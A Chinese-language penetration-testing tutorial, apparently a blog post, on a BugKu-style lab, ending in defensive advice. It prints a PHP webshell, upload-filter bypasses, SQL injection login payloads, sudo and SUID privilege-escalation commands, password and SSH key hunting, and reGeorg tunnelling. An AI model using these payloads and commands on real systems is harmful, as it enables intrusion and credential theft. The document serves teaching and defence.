1. 项目概述与核心思路最近在带新人做渗透测试的靶场练习发现很多朋友拿到一个Web靶场比如BugKu这类经典环境往往不知道从哪里下手。他们知道要信息收集但具体怎么收、收了之后怎么串联线索思路是断的。今天我就拿一个非常典型的场景——“从robots.txt文件入手最终拿到管理员权限”的完整流程来拆解一遍。这个路径几乎涵盖了Web渗透测试中最基础、最核心的几个环节信息泄露、目录遍历、文件上传、命令执行、权限提升。整个过程就像玩一个解谜游戏每一步的发现都为下一步提供了钥匙。这个流程特别适合刚入门的朋友因为它不依赖复杂的漏洞利用更多的是考验你对Web应用架构的理解和对常见安全配置错误的敏感度。我们会用到一些基础工具比如浏览器、Burp Suite、御剑或者Dirsearch这类目录扫描器以及一个能跑简单Python脚本的环境。核心思路就是顺着应用暴露的线索一步步扩大访问范围最终找到那个能让你“为所欲为”的关键点。下面我们就开始这场实战推演。2. 环境准备与信息收集渗透测试的第一步永远是信息收集而且必须是系统性的。盲目乱撞效率极低。对于我们的目标——一个假设的BugKu靶场环境我们首先需要明确它的“边界”和“入口”。2.1 目标确认与基础扫描假设我们获得的靶场地址是http://target.bugku.com。第一步不是直接访问而是先做一些外围侦察。确定存活与端口虽然题目是Web渗透但用nmap或masscan快速扫一下常用端口如80, 443, 8080, 8443总没坏处。命令很简单nmap -sS -p 80,443,8080,8443 target.bugku.com。这能确认Web服务确实运行在80端口并且没有其他容易被忽略的管理后台端口比如8080。识别技术与框架访问首页。按F12打开开发者工具查看“网络”标签页加载的静态资源.js, .css文件以及响应头信息。关注Server、X-Powered-By、Set-Cookie等字段。例如Server: Apache/2.4.29 (Ubuntu)告诉我们Web服务器是ApachePHPSESSID这个Cookie名强烈暗示后端是PHP。这些信息决定了我们后续漏洞利用的方向比如是找PHP的文件包含还是ASP.NET的反序列化。注意现代应用常隐藏这些头信息以增强安全性。此时需要借助浏览器插件如Wappalyzer它能自动分析页面使用的技术栈比如jQuery版本、PHP版本、前端框架等非常直观。2.2 核心突破口robots.txt的挖掘信息收集的重头戏往往是从这些“约定俗成”的文件开始。robots.txt文件位于网站根目录如http://target.bugku.com/robots.txt本意是告诉搜索引擎爬虫哪些目录可以访问哪些不行。在安全测试中它却常常成为开发者的“备忘录”或“疏忽清单”。访问这个文件我们可能会看到如下内容User-agent: * Disallow: /admin/ Disallow: /backup/ Disallow: /config/ Disallow: /uploads/ Allow: /uploads/public/这份文件就是一张“藏宝图”。它明确告诉我们/admin/管理员后台目录。这是我们的终极目标之一。/backup/备份文件目录。里面可能有数据库备份、源码备份.bak, .tar.gz, .zip甚至可能是网站整站压缩包。/config/配置文件目录。里面可能有数据库连接信息config.php, .env文件、API密钥等敏感信息。/uploads/上传目录。但Allow: /uploads/public/说明只有public子目录可以公开访问这暗示可能存在权限控制不严的上传点或者public目录之外的文件可能被直接访问。为什么开发者会把这些写进robots.txt很多时候是为了图方便他们不希望搜索引擎收录后台、备份等敏感页面以为这样就能“隐藏”起来。殊不知任何用户都可以直接访问这个文件这等于把敏感路径直接公之于众。这是一种典型的安全意识缺失。拿到这些路径后我们接下来的动作就是逐一访问观察反应。直接访问/admin/很可能返回一个登录页面。我们记下这是后续需要突破的关口。访问/backup/如果目录列表功能被开启Apache的Options Indexes我们可能会直接看到一堆备份文件。如果没有开启我们会收到403禁止访问或404不存在。但不要轻易放弃可以尝试用目录扫描工具爆破常见的备份文件名如site.bak,wwwroot.zip,database.sql.gz等。访问/config/同理可能直接列出文件也可能返回错误。我们需要寻找具体的配置文件。2.3 深度目录与文件扫描仅凭robots.txt的几条记录是不够的。我们需要更全面地探测网站结构。这时就需要用到目录扫描工具。工具选择新手推荐使用图形化工具如御剑它集成了常见字典操作简单。进阶一点可以使用命令行工具如Dirsearch、Gobuster或ffuf它们速度更快可定制性更强。这里以Dirsearch为例python3 dirsearch.py -u http://target.bugku.com -e php,html,js,bak,tar,gz,zip,sql字典与扩展名-e参数指定要扫描的扩展名非常重要。除了常见的.php,.html一定要加上备份文件扩展名.bak,.tar.gz,.zip,.7z、配置文件扩展名.inc,.config,.env、以及可能泄露信息的文件.git/,.svn/,.DS_Store。一个好的字典应该包含数千条常见路径如/phpinfo.php,/admin/login.php,/test/,/api/等。分析扫描结果扫描完成后重点关注以下几类响应状态码200页面正常存在。仔细访问查看内容。状态码403禁止访问。这通常意味着路径存在但权限不足。这是一个重要信号说明这个路径是受保护的可能蕴含着有价值的东西。状态码301/302重定向。跟着重定向走可能会到登录页或别的有趣的地方。状态码500服务器内部错误。尝试访问可能触发了一些错误处理逻辑有时错误信息会泄露路径或代码片段。结合robots.txt的提示和目录扫描的结果我们就能绘制出一张更完整的网站地图并筛选出高价值的后续攻击点。3. 漏洞挖掘与利用链构建信息收集阶段我们拿到了“藏宝图”现在就要按图索骥把一个个孤立的点串联成一条通往目标的攻击链。3.1 分析备份文件与源码泄露假设我们的目录扫描在/backup/下发现了一个文件website_backup_20231001.zip。下载并解压它。审计源码解压后你得到的是可能是某次部署时的完整网站源码。这是黄金矿藏。你需要像侦探一样仔细审查配置文件立即查找config.php,database.php,settings.inc.php,.env等文件。这些文件里极有可能包含数据库的连接用户名和密码格式通常是define(DB_PASSWORD, SuperSecret123!)。即使密码是加密的也可能存在硬编码的密钥。后台登录逻辑找到/admin/login.php的源码。分析它的认证逻辑是直接查询数据库比对用户名密码吗有没有验证码验证码能否绕过如重复使用有没有SQL注入的可能查看SQL查询语句是如何拼接的。寻找其他功能点源码比如文件上传、命令执行、反序列化等功能的代码。分析其过滤和校验逻辑。发现硬编码凭证在审计config.php时我们可能发现?php $db_host localhost; $db_user bugku_admin; $db_pass MyPssw0rd2023; $db_name bugku_db; ?恭喜你拿到了数据库凭证。即使后台登录有别的验证你现在可以直接连接数据库了。连接数据库使用mysql命令行工具或图形化工具如HeidiSQL、phpMyAdmin如果靶场有进行连接。命令mysql -h target.bugku.com -u bugku_admin -pMyPssw0rd2023 bugku_db。数据库渗透在数据库中寻找用户表可能叫users,admin,members。查看表结构很可能发现管理员的用户名和密码哈希。如果密码是弱哈希如MD5可以尝试在线网站或本地用hashcat进行破解。如果运气好密码甚至是明文存储的。实操心得备份文件是渗透测试中最常见的“送分题”。很多开发团队为了方便会在服务器上留下源码压缩包。一旦这个压缩包被找到整个应用的安全性就崩塌了一半。所以在生产环境中绝对禁止在Web可访问目录存放源码或数据库备份。3.2 利用文件上传获取WebShell假设我们从源码或实际访问中发现网站有一个“头像上传”功能位于/profile/upload.php。我们的目标是上传一个能执行系统命令的脚本WebShell。前端绕过首先尝试上传一个简单的PHP WebShell文件shell.php内容为?php system($_GET[cmd]);?。大概率会被前端JavaScript拦截提示“文件类型不正确”。抓包改包打开Burp Suite设置浏览器代理然后再次尝试上传。Burp会拦截到HTTP请求。你将看到请求体中包含文件内容其Content-Type可能是application/octet-stream或根据你文件名来的。关键点在于修改文件名将filenameshell.php改为filenameshell.jpg.php或filenameshell.php.jpg。有些黑名单校验只检查最后一个扩展名.php有些则检查第一个。多尝试几种组合。修改Content-Type将Content-Type: application/x-php改为Content-Type: image/jpeg。这是为了绕过服务端对MIME类型的检查。添加文件头在PHP文件内容最前面加上真实的图片文件头例如GIF的GIF89a;。这可以绕过一些基于文件内容签名的检查。寻找解析漏洞如果网站使用特定的服务器或中间件可能存在解析漏洞。例如古老的IIS6.0的*.asp;.jpg解析漏洞或者Nginx在某些错误配置下会将/uploads/shell.jpg交给PHP-FPM处理如果路径中包含.php如/uploads/shell.jpg/.php也可能被解析。这需要对服务器环境有判断。上传成功与访问假设我们通过修改后缀为shell.php.jpg并修改Content-Type后上传成功返回的路径是/uploads/avatar/shell.php.jpg。直接访问这个链接如果服务器配置不当例如Apache的mod_php且未正确设置AddType它可能依然会被当作PHP解析。我们尝试访问http://target.bugku.com/uploads/avatar/shell.php.jpg?cmdwhoami。如果页面返回了当前系统用户的用户名如www-data那么WebShell就生效了。注意事项上传的WebShell要尽量隐蔽。可以使用一句话木马并通过密码参数访问如?php eval($_POST[pass]);?。用中国菜刀或蚁剑这类工具连接时流量特征明显容易被WAF发现。在实战中更倾向于使用自定义的、功能简单的脚本或者利用现有应用的功能如日志写入、模板编辑来执行命令。3.3 突破后台登录认证如果我们没能从备份文件拿到密码或者后台有额外的验证机制我们就需要正面突破登录框。SQL注入在登录框的用户名和密码处尝试输入经典注入payload如admin --注释掉后面密码判断、admin or 11。同时用Burp Suite抓包将登录请求发送到Repeater模块进行反复测试。如果存在注入可能会绕过登录或者返回详细的数据库错误信息这本身也是注入点。弱口令爆破如果登录逻辑没有注入漏洞尝试弱口令爆破。在Burp Suite的Intruder模块中对登录请求进行标记加载常见的用户名列表admin, administrator, root, test和密码字典top1000常用密码、公司名年份等。观察响应长度或状态码的不同来识别成功的登录尝试。逻辑漏洞验证码绕过如果登录有验证码尝试重复使用同一个验证码重放攻击或者直接删除请求中的验证码参数再提交。修改响应登录失败后服务器可能返回一个JSON{code: 0, msg: login failed}。我们可以用Burp拦截服务器响应将其修改为{code: 1, msg: login success}然后放行看前端是否会因此跳转到后台。密码重置漏洞如果有“忘记密码”功能测试是否存在邮箱轰炸、验证码爆破、Token篡改将重置链接中的token改为其他已知用户的等漏洞。利用已获凭证如果我们从数据库或配置文件中拿到了管理员密码即使是哈希并且成功破解那么直接登录即可。如果密码是加盐哈希且无法破解但我们已经通过WebShell有了系统权限可以直接修改数据库中的密码哈希为一个已知值如MD5(‘admin’)然后再用新密码登录。4. 权限提升与内网渗透初步拿到WebShell或者后台权限通常意味着我们拥有了应用层的控制权但进程可能运行在低权限用户如www-data,apache下。我们的目标是获取服务器的最高权限root/Administrator并探索内网。4.1 系统信息收集与提权枚举在WebShell中执行命令收集服务器信息whoami/id: 查看当前用户和所属组。uname -a或systeminfo: 查看系统内核版本、发行版信息。cat /etc/passwd: 查看系统用户。sudo -l:非常关键查看当前用户可以用sudo以root身份执行哪些命令。如果配置不当可能允许运行某些编辑器vim, nano或语言解释器python, perl而不需要密码。例如如果显示(root) NOPASSWD: /usr/bin/python那么我们可以直接运行sudo python -c import os; os.system(/bin/bash)来获得一个root shell。find / -perm -us -type f 2/dev/null: 查找SUID权限的文件。SUID文件在执行时会以文件所有者的身份运行。如果找到/bin/bash或某些自定义程序设置了SUID且属于root就可能存在提权漏洞。ps aux或netstat -tulpn: 查看运行进程和网络连接寻找其他服务如数据库、缓存服务及可能的内部网络段。4.2 利用内核漏洞提权如果系统内核版本较老可能存在公开的提权漏洞。我们可以用脚本自动化检测。在本地Kali上使用searchsploit linux kernel 3.13根据uname -a的结果搜索漏洞。找到对应的漏洞利用代码Exploit下载并编译如果是C代码。在目标服务器上找一个有写权限的目录如/tmp或/dev/shm将编译好的Exploit上传上去可以用WebShell的wget或curl从你的攻击机下载。赋予执行权限并运行chmod x exploit ./exploit。如果Exploit成功你会看到用户变为root。避坑技巧内核提权有风险可能造成系统崩溃蓝屏/死机。在靶场环境可以大胆尝试但在真实的授权测试中必须在测试计划允许的范围内进行并最好有恢复快照。同时上传的Exploit可能会被杀毒软件或HIDS主机入侵检测系统拦截需要做免杀处理。4.3 内网探测与横向移动当我们获得一个立足点即使是低权限后就可以探索内网了。探测内网网段从服务器的网络配置入手。执行ifconfig或ip addr查看网卡信息除了公网IP通常还有一个内网IP如192.168.1.10或10.10.10.5。还可以查看路由表route -n和DNS配置cat /etc/resolv.conf。端口扫描使用上传到目标机的轻量级扫描工具如nmap静态编译版或者用脚本语言实现简单扫描。例如用Python快速扫描同网段存活主机for i in {1..254}; do ping -c 1 192.168.1.$i done。更精细的扫描可以探测常见服务端口22/SSH, 445/SMB, 3389/RDP, 6379/Redis等。寻找凭证在服务器上翻找可能存在的凭证信息为横向移动做准备历史命令cat ~/.bash_history配置文件find / -name *.properties -o -name *.conf -o -name *.config 2/dev/null | xargs grep -i password数据库连接文件除了Web应用的配置还可能在其他地方。用户主目录下的私钥文件~/.ssh/id_rsa如果找到且未加密可以用来SSH登录其他使用相同密钥的服务器。搭建代理通道为了让我们攻击机的工具能直接访问目标内网需要在目标机上搭建一个代理。常用工具如reGeorg、EarthWorm、NPS等。例如上传reGeorg的隧道脚本如tunnel.php然后在攻击机上用proxychains配置代理之后就可以让nmap、sqlmap等工具通过这个代理去扫描和攻击内网其他机器了。5. 总结与防御建议走完从robots.txt到获取管理员权限乃至系统权限的整个流程你会发现安全漏洞往往不是由一个致命错误造成的而是一系列“小问题”串联起来的结果。一个不起眼的robots.txt泄露了路径一个疏忽留下的备份文件泄露了源码和密码一个不严谨的上传过滤导致了WebShell最后配合一个不当的sudo配置或未修复的内核漏洞完成了提权。对于开发者而言防御思路正是要切断这条链信息泄露控制生产环境应禁用或严格监控robots.txt避免暴露真实后台路径。确保phpinfo()、测试页面、源码备份、版本控制文件夹.git/等敏感资源不出现在Web目录。配置Web服务器如Apache的Options -Indexes禁止目录浏览。输入验证与过滤对所有用户输入包括文件上传进行“白名单”验证。文件上传功能应只允许特定的、安全的文件类型通过文件扩展名和MIME类型双重检查并将上传的文件存储在Web根目录之外通过脚本动态读取和交付。或者将上传的文件重命名为随机字符串并去除文件扩展名。最小权限原则Web应用运行账户如www-data应仅拥有运行所需的最小权限。数据库连接使用专用、低权限的用户。服务器上禁用不必要的服务定期更新系统和软件补丁。安全的配置管理数据库密码、API密钥等敏感信息必须使用环境变量或配置中心管理绝不能硬编码在源码中。禁用危险的PHP函数如system,exec,shell_exec,eval或将其放入disable_functions列表。纵深防御部署WAFWeb应用防火墙可以拦截常见的攻击payload。对服务器进行安全加固定期进行安全审计和渗透测试主动发现潜在风险。这个靶场流程虽然基础但它清晰地勾勒出了一次典型Web渗透的骨架。掌握它你就掌握了安全测试中最核心的“破案”逻辑。在实际操作中情况会复杂得多可能需要组合更多技术但“信息收集-漏洞发现-利用扩大-权限提升”这个核心循环是不会变的。多练、多思考、多总结这才是提升渗透测试能力的不二法门。